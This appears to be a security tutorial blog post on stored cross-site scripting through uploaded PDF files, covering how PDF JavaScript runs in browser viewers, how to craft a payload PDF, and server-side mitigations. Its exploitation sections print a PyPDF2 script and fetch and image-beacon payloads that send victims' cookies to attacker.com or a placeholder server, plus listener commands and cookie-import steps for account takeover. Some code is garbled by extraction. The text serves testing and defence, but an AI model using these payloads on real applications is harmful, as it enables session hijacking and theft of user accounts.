Listen to this Post

Introduction:
Stored Cross‑Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, but few realize that a simple PDF file can serve as a delivery vehicle. When a web application allows users to upload PDFs and later renders them inline without sanitizing embedded JavaScript, an attacker can plant a persistent payload that executes in the context of every victim who views the file—no AI or complex tooling required.
Learning Objectives:
- Understand how JavaScript can be embedded inside PDF files and triggered through browser‑based PDF viewers.
- Learn manual techniques to craft malicious PDFs and test for stored XSS via file upload endpoints.
- Implement mitigation strategies including content sanitization, forced download headers, and Content Security Policy.
1. The Anatomy of PDF‑Based Stored XSS
PDF is not merely a static document format; it supports JavaScript through entries like `/JS` (JavaScript action) and `/OpenAction` that execute code when the document is opened. Modern web applications often display uploaded PDFs using inline “ or `
Step‑by‑step guide to understanding the risk:
- The attacker uploads a PDF containing a JavaScript payload (e.g.,
app.alert("XSS")). - The application stores the file and provides a preview link.
- Another user clicks the preview – the browser renders the PDF and executes the JavaScript.
- Because the PDF is served from the same origin as the web app, the script can read
document.cookie, perform authenticated requests, or redirect to a phishing page.
Unlike reflected XSS, this stored variant affects every subsequent viewer, making it a high‑severity finding in bug bounty programs.
- Manual Crafting of a Malicious PDF (No AI Required)
To reproduce the vulnerability, you need to create a PDF that contains a JavaScript action. The original post emphasises manual work – we’ll use free command‑line and Python tools.
Step‑by‑step guide using Python’s PyPDF2 (Linux & Windows):
1. Install PyPDF2:
`pip install PyPDF2`
2. Create a Python script `malicious_pdf.py`:
from PyPDF2 import PdfReader, PdfWriter
writer = PdfWriter()
writer.add_blank_page(width=72, height=72)
Inject JavaScript that steals cookies and sends them to a remote server
js_payload = """
app.alert('Session compromised');
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
"""
writer.add_js(js_payload)
with open('xss_payload.pdf', 'wb') as f:
writer.write(f)
print("[+] Malicious PDF created: xss_payload.pdf")
3. Run the script: `python malicious_pdf.py`
Alternative using qpdf (Linux):
Create a JavaScript file `payload.js` with app.alert("XSS"). Then inject it into an existing PDF:
qpdf --add-attachment payload.js --attachment-key /JS input.pdf output.pdf
(Note: Some qpdf versions require explicit object manipulation – refer to the manual.)
Windows PowerShell method:
Use the .NET `iTextSharp` library (or download `qpdf.exe` for Windows). A simple approach is to use the Python script above, which works identically on Windows.
Once created, upload the PDF to any file upload field within the target application. If a preview popup appears when you (or another user) view the file, you have confirmed stored XSS.
- Exploiting the Vulnerability – From Alert to Account Takeover
An `alert()` pop‑up is proof of concept, but a real attacker will escalate to session hijacking or credential theft.
Step‑by‑step exploitation:
1. Set up a listener (Linux/Windows):
`nc -lvnp 4444` – or use a simple HTTP server with Python:
`python3 -m http.server 8080`
2. Modify the JavaScript payload to exfiltrate cookies:
fetch('http://YOUR_SERVER_IP:8080/steal?cookie=' + encodeURIComponent(document.cookie));
For older browsers or cross‑origin restrictions, use an image trick:
new Image().src = 'http://YOUR_SERVER_IP:8080/steal?c=' + document.cookie;
- Embed this payload inside the PDF using the same Python script, replacing the `js_payload` string.
-
Upload the PDF and wait for a victim to view it. The victim’s cookies (including session tokens) will appear in your listener logs.
-
Impersonate the victim by importing the stolen cookie into your browser (using a tool like EditThisCookie or the browser’s developer console). You can now act as the authenticated user.
Testing note: Some modern browsers restrict PDF JavaScript execution in their built‑in viewers (e.g., Chrome’s PDFium blocks `fetch` to external domains). However, many custom enterprise viewers or older browsers are vulnerable. Additionally, if the application extracts text from the PDF and injects it into the DOM (common in document management systems), a traditional XSS payload like `` inside a PDF’s metadata or text field will also trigger. Always test both scenarios.
4. Mitigation Strategies for Developers
Preventing PDF‑based stored XSS requires a layered defence.
Step‑by‑step guidance for hardening your application:
1. Force download instead of inline rendering
Set HTTP headers on all PDF responses:
Content-Disposition: attachment; filename="document.pdf" Content-Type: application/pdf
This stops the browser from automatically interpreting the PDF, forcing a download dialogue.
2. Sanitise uploaded PDFs
Use tools to strip JavaScript and embedded actions. On the server (Linux example):
Install qpdf and exiftool sudo apt install qpdf libimage-exiftool-perl Remove all metadata and JavaScript actions exiftool -all= uploaded.pdf -overwrite_original qpdf --linearize --object-streams=disable --preserve-unreferenced=no uploaded.pdf sanitized.pdf
Then serve the sanitised version.
- Validate file contents – never trust the file extension or MIME type sent by the client. Read the file’s magic bytes and use a robust PDF parser to detect JavaScript objects.
-
Implement a strong Content Security Policy (CSP) that blocks inline scripts and restricts script sources. Example:
Content-Security-Policy: sandbox; script-src 'none'; object-src 'none'
For PDFs served via `object` or
embed, the CSP should also include `sandbox allow-same-origin` only if absolutely necessary. -
Use virus scanners (ClamAV) with signatures for malicious PDF JavaScript. While not foolproof, it filters known payloads.
-
Conduct manual security testing on all file upload features – try uploading PDFs with embedded JS, SVG files with scripts, and HTML files with `